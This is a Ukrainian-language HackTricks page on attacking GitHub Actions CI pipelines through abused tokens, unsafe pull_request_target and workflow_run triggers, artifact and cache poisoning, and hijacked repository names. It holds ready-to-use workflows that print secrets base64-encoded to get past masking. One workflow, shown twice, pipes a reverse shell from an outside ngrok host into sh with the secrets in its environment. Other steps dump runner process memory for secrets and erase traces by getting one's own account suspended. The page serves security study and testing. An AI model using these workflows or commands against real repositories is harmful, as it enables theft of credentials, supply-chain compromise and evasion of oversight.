Зловживання Github Actions
Reading time: 18 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
На цій сторінці ви знайдете:
- резюме всіх наслідків для зловмисника, який зміг отримати доступ до Github Action
- Різні способи отримати доступ до дії:
- Маючи дозволи на створення дії
- Зловживання тригерами, пов'язаними з pull request
- Зловживання іншими зовнішніми техніками доступу
- Півотування з уже скомпрометованого репозиторію
- Нарешті, розділ про техніки пост-експлуатації для зловживання дією зсередини (оскільки згадані наслідки)
Резюме наслідків
Для введення про Github Actions перевірте основну інформацію.
Якщо ви можете виконувати довільний код у GitHub Actions в межах репозиторію, ви можете:
- Викрасти секрети, змонтовані до конвеєра, та зловживати привілеями конвеєра для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
- Скомпрометувати розгортання та інші артефакти.
- Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання.
- Виконувати код у кастомних робітниках для зловживання обчислювальною потужністю та півотування до інших систем.
- Перезаписати код репозиторію, залежно від дозволів, пов'язаних з
GITHUB_TOKEN
.
GITHUB_TOKEN
Цей "секрет" (який походить з ${{ secrets.GITHUB_TOKEN }}
та ${{ github.token }}
) надається, коли адміністратор активує цю опцію:
.png)
Цей токен є тим самим, який використовуватиме Github Application, тому він може отримати доступ до тих самих кінцевих точок: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github повинен випустити потік, який дозволяє крос-репозиторний доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи GITHUB_TOKEN
.
Ви можете побачити можливі дозволи цього токена за адресою: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Зверніть увагу, що токен закінчує термін дії після завершення роботи.
Ці токени виглядають так: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Деякі цікаві речі, які ви можете зробити з цим токеном:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Зверніть увагу, що в кількох випадках ви зможете знайти токени користувачів github всередині середовищ Github Actions або в секретах. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
Список секретів у виході Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, перевіряючи журнали дій:
.png)
Дозволене виконання
note
Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до створення нового репозиторію в організації або є права на запис у репозиторії.
Якщо ви в цьому сценарії, ви можете просто перевірити техніки постексплуатації.
Виконання з створення репозиторію
У випадку, якщо члени організації можуть створювати нові репозиторії і ви можете виконувати github дії, ви можете створити новий репозиторій і вкрасти секрети, встановлені на рівні організації.
Виконання з нової гілки
Якщо ви можете створити нову гілку в репозиторії, який вже містить налаштовану Github Action, ви можете модифікувати її, завантажити вміст, а потім виконати цю дію з нової гілки. Таким чином, ви можете екстрагувати секрети на рівні репозиторію та організації (але вам потрібно знати, як вони називаються).
Ви можете зробити модифіковану дію виконуваною вручну, коли створюється PR або коли якийсь код завантажується (залежно від того, наскільки помітними ви хочете бути):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Forked Execution
note
Є різні тригери, які можуть дозволити зловмиснику виконати Github Action з іншого репозиторію. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати.
pull_request
Тригер робочого процесу pull_request
буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це перше співробітництво, деякий керівник повинен схвалити виконання робочого процесу:
.png)
note
Оскільки за замовчуванням обмеження стосується перших учасників, ви можете внести виправлення дійсної помилки/друкарської помилки і потім надіслати інші PR, щоб зловживати вашими новими привілеями pull_request
.
Я це протестував, і це не працює: Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.
Більше того, за замовчуванням запобігає запису прав і доступу до секретів цільового репозиторію, як зазначено в документації:
За винятком
GITHUB_TOKEN
, секрети не передаються виконавцю, коли робочий процес запускається з форкнутого репозиторію.GITHUB_TOKEN
має права лише на читання у запитах на злиття з форкнутими репозиторіями.
Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.
caution
Так, якщо зловмисник змінить у PR github action, який буде запущено, його Github Action буде використано, а не той, що з оригінального репозиторію!
Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у GITHUB_TOKEN
, зловмисник може, наприклад, завантажити шкідливі артефакти.
pull_request_target
Тригер робочого процесу pull_request_target
має права на запис до цільового репозиторію та доступ до секретів (і не запитує дозволу).
Зверніть увагу, що тригер робочого процесу pull_request_target
виконується в базовому контексті і не в тому, що надається PR (щоб не виконувати ненадійний код). Для отримання додаткової інформації про pull_request_target
перевірте документацію.
Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей пост у блозі github.
Це може виглядати так, ніби виконуваний робочий процес є тим, що визначено в базі, а не в PR, тому це безпечно використовувати pull_request_target
, але є кілька випадків, коли це не так.
І цей тригер матиме доступ до секретів.
workflow_run
Тригер workflow_run дозволяє запустити робочий процес з іншого, коли він завершено
, запитано
або в процесі
.
У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести":
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Крім того, відповідно до документації: Робочий процес, розпочатий подією workflow_run
, може доступатися до секретів і записувати токени, навіть якщо попередній робочий процес не був.
Такий робочий процес може бути атакований, якщо він залежить від робочого процесу, який може бути запущений зовнішнім користувачем через pull_request
або pull_request_target
. Кілька вразливих прикладів можна знайти в цьому блозі. Перший з них полягає в тому, що workflow_run
запущений робочий процес завантажує код атакуючого: ${{ github.event.pull_request.head.sha }}
Другий полягає в передачі артефакту з недовіреного коду до робочого процесу workflow_run
та використанні вмісту цього артефакту таким чином, що він стає вразливим до RCE.
workflow_call
TODO
TODO: Перевірити, чи при виконанні з pull_request
використовується/завантажується код з оригіналу чи з форкнутого PR
Зловживання виконанням з форку
Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес GitHub виконуватися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані:
Виконання недовіреного чекауту
У випадку pull_request
робочий процес буде виконуватися в контексті PR (тому він виконає код шкідливого PR), але хтось повинен спочатку його авторизувати, і він буде виконуватися з деякими обмеженнями.
У випадку робочого процесу, що використовує pull_request_target
або workflow_run
, який залежить від робочого процесу, що може бути запущений з pull_request_target
або pull_request
, код з оригінального репозиторію буде виконуватися, тому атакуючий не може контролювати виконуваний код.
caution
Однак, якщо дія має явний чекаут PR, який отримає код з PR (а не з бази), вона використовуватиме код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Потенційно недовірений код виконується під час npm install
або npm build
, оскільки скрипти збірки та посилання на пакети контролюються автором PR.
warning
GitHub dork для пошуку вразливих дій: event.pull_request pull_request_target extension:yml
, однак існують різні способи налаштування робочих процесів для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовності про те, хто є актором, що генерує PR).
Впровадження скриптів у контексті
Зверніть увагу, що є певні контексти GitHub, значення яких контролюються користувачем, що створює PR. Якщо дія GitHub використовує ці дані для виконання чого-небудь, це може призвести до виконання довільного коду:
Gh Actions - Context Script Injections
Впровадження скриптів GITHUB_ENV
З документації: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища GITHUB_ENV
.
Якщо атакуючий може впровадити будь-яке значення в цю змінну середовища, він може впровадити змінні середовища, які можуть виконувати код у наступних кроках, такі як LD_PRELOAD або NODE_OPTIONS.
Наприклад (це і це), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища GITHUB_ENV
. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
.png)
Вразливі сторонні дії GitHub
dawidd6/action-download-artifact
Як згадувалося в цьому блозі, ця дія GitHub дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.
Проблема в тому, що якщо параметр path
не встановлений, артефакт витягується в поточний каталог, і він може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.
Приклад вразливого робочого процесу:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Це може бути атаковано за допомогою цього робочого процесу:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Інший зовнішній доступ
Викрадення видаленого простору імен репозиторію
Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав менше 100 зірок до зміни імені, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити репозиторій з таким же ім'ям, як і той, що був видалений.
caution
Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.
Якщо інші репозиторії використовували залежності з репозиторіїв цього користувача, зловмисник зможе їх викрасти. Тут ви маєте більш детальне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Поворот репозиторію
note
У цьому розділі ми поговоримо про техніки, які дозволять поворот з одного репозиторію в інший, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).
Отруєння кешу
Кеш підтримується між виконаннями робочого процесу в одному гілці. Це означає, що якщо зловмисник скомпрометує пакет, який потім зберігається в кеші і завантажується та виконується більш привілейованим робочим процесом, він зможе також скомпрометувати цей робочий процес.
Отруєння артефактів
Робочі процеси можуть використовувати артефакти з інших робочих процесів і навіть репозиторіїв, якщо зловмисник зможе скомпрометувати Github Action, яка завантажує артефакт, що пізніше використовується іншим робочим процесом, він може скомпрометувати інші робочі процеси:
Gh Actions - Artifact Poisoning
Постексплуатація з дії
Доступ до AWS та GCP через OIDC
Перевірте наступні сторінки:
Доступ до секретів
Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:
- Якщо секрет або токен встановлено в змінну середовища, його можна безпосередньо отримати через середовище, використовуючи
printenv
.
Список секретів у виході Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Якщо секрет використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і доступний.
-
cat /home/runner/work/_temp/*
- Для JavaScript дій секрети передаються через змінні середовища.
- ```bash
ps axe | grep node
- Для кастомної дії ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з аргументу:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Зловживання самостійно хостованими виконавцями
Спосіб знайти, які Github Actions виконуються в не-Github інфраструктурі, - це шукати runs-on: self-hosted
у конфігураційному yaml файлі Github Action.
Самостійно хостовані виконавці можуть мати доступ до додаткової чутливої інформації, до інших мережевих систем (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, більше ніж одна дія може виконуватися одночасно і зловмисна може викрасти секрети іншої.
У самостійно хостованих виконавцях також можливо отримати секрети з процесу _Runner.Listener_** який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Перевірте цей пост для отримання додаткової інформації.
Github Docker Images Registry
Можливо створити Github дії, які будують і зберігають Docker-образ всередині Github.
Приклад можна знайти в наступному розширювальному:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Як ви могли бачити в попередньому коді, реєстр Github розміщений на ghcr.io
.
Користувач з правами читання над репозиторієм зможе завантажити Docker Image, використовуючи особистий токен доступу:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Тоді користувач може шукати викрадені секрети в шарах Docker-образу:
Чутлива інформація в журналах Github Actions
Навіть якщо Github намагається виявити секретні значення в журналах дій і уникнути їх відображення, інша чутлива інформація, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не налаштовано спеціально.
Приховування своїх слідів
(Техніка з тут) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми не можемо видалити PR з інтернету, але є нюанс. Для облікових записів GitHub, які припинені GitHub, всі їхні PR автоматично видаляються і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі. Це сховає всі ваші активності на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)
Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений за 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.
warning
Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.
Інструменти
Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для знаходження вразливих:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.